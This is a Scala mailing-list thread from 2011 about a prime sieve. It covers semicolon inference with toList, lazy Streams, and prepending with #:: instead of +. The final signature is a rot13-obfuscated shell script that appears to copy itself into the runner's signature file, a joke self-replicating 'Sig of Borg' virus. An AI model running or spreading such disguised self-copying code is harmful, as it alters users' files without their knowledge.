I think you have a problem with semicolon inference.
The following is parsed wrong, because of your (superfluous) call to toList.
for (i <- (2 to scala.math.sqrt(maxValue).toInt + 1))
candidates = candidates.filter(j => (j == i) || (j % i != 0)) toList
candidates
toList is nullary, but during semicolon inference Scala doesn't know
that yet and parses the code as if toList was unary:
for (i <- (2 to scala.math.sqrt(maxValue).toInt + 1))
candidates = candidates.filter(j => (j == i) || (j % i !=
0)).toList(candidates)
You have multiple choices here: use braces for the for body, use a
semicolon, remove the toList call or insert a blank line.
I would recommend to omit the call to toList, as it serves no purpose
anyway, and additionally put the for body in braces (personal
preference). The following compiles fine:
def primes(maxValue: Int): List[Int] = {
if (maxValue < 2)
Nil
else {
var candidates = List.range(2, maxValue + 1)
for (i <- 2 to scala.math.sqrt(maxValue).toInt + 1) {
candidates = candidates.filter(j => (j == i) || (j % i != 0))
}
candidates
}
}
Also, you might consider using foldLeft instead of the for
comprehension, for a more functional approach.
Regards,
Rüdiger
2011/7/3 Marc CARRÉ <carre...@gmail.com>:
object Main extends Application {
def from(n: Int): Stream[Int] =
Stream.cons(n, from(n + 1))
def sieve(s: Stream[Int]): Stream[Int] =
Stream.cons(s.head, sieve(s.tail filter { _ % s.head != 0 }))
def primes = sieve(from(2))
primes take 10 print
}Am 06.07.2011 02:38, schrieb Josh Suereth:
> def from(n: Int): Stream[Int] =
> Stream.cons(n, from(n + 1))
> // ...
> def primes = sieve(from(2))
If I could put the '2' manually in front of that stream, I would write:
def from (n: Int): Stream[Int] =
Stream.cons (n, from (n + 2))
def primes = 2 + sieve (from (3))
to avoid about 50% of useless, even values, but:
scala> def primes : Stream [Int] = 2 + sieve (from (3))
<console>:7: error: overloaded method value + with alternatives:
(Double)Double <and>
(Float)Float <and>
(Long)Long <and>
(Int)Int <and>
(Char)Int <and>
(Short)Int <and>
(Byte)Int <and>
(java.lang.String)java.lang.String
cannot be applied to (Stream[Int])
def primes : Stream [Int] = 2 + sieve (from (3))
^
How would I do it right?
- --
Tsch���--->...Stefan
- ---------------------------
Don't visit my homepage at:
http://home.arcor-online.net/hirnstrom
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iEYEARECAAYFAk4UTwAACgkQQeATqGpDnRr5tACfQKgs8gDMAbeBMu3RzPUvmEOZ
g6gAoKBuNVTYFhgoY1Pt+2pHWl9g84bA
=c1mc
-----END PGP SIGNATURE-----
Regards,
Rüdiger
2011/7/6 Stefan Wagner <hirn...@arcor.de>:
> Tschööö--->...Stefan
Whenever you decide to use "+" for something other than adding two
numbers or concatenating strings, don't. Either you are wrong, or you
are deprecated.
Idiomatic stream usage would be:
def primes = 2 #:: sieve (from (3))
Though the standard operator for prepending elements is:
def primes = 2 +: sieve (from (3))
I'm not sure using the latter would have the same non-strictness
guarantees of the former.
>
> to avoid about 50% of useless, even values, but:
>
> scala> def primes : Stream [Int] = 2 + sieve (from (3))
> <console>:7: error: overloaded method value + with alternatives:
> (Double)Double <and>
> (Float)Float <and>
> (Long)Long <and>
> (Int)Int <and>
> (Char)Int <and>
> (Short)Int <and>
> (Byte)Int <and>
> (java.lang.String)java.lang.String
> cannot be applied to (Stream[Int])
> def primes : Stream [Int] = 2 + sieve (from (3))
> ^
>
> How would I do it right?
>
> - --
>
> Tschööö--->...Stefan
> - ---------------------------
> Don't visit my homepage at:
> http://home.arcor-online.net/hirnstrom
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.10 (GNU/Linux)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
>
> iEYEARECAAYFAk4UTwAACgkQQeATqGpDnRr5tACfQKgs8gDMAbeBMu3RzPUvmEOZ
> g6gAoKBuNVTYFhgoY1Pt+2pHWl9g84bA
> =c1mc
> -----END PGP SIGNATURE-----
>
--
Daniel C. Sobral
I travel to the future all the time.
[1] <http://rosettacode.org/wiki/Sieve_of_Eratosthenes#Scala>
[2] <http://rosettacode.org/wiki/Sieve_of_Eratosthenes#Haskell>
[3] <http://www.cs.hmc.edu/~oneill/papers/Sieve-JFP.pdf>
--
Jim
On Wed, Jul 06, 2011 at 02:03:12PM +0200, Stefan Wagner wrote:
> Date: Wed, 06 Jul 2011 14:03:12 +0200
> From: Stefan Wagner <hirn...@arcor.de>
> To: scala-l...@googlegroups.com
> Subject: Re: [scala-language] Re: For loop causing "error: type mismatch;"
Well, of course, that example is stacking up a HUGE chain of recursive
Stream.cons(..., sieve(s.tail filter ...)) calls (one for each prime
found), which it cannot discard without starting to report large even
numbers as prime. That is bound to OOM eventually.
- Florian.
--
#!/bin/sh -
set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\
angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;fraqznvy sKunef.q\
r<$3&&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svt bs Obet.'"|$1|`$4 $2|$1`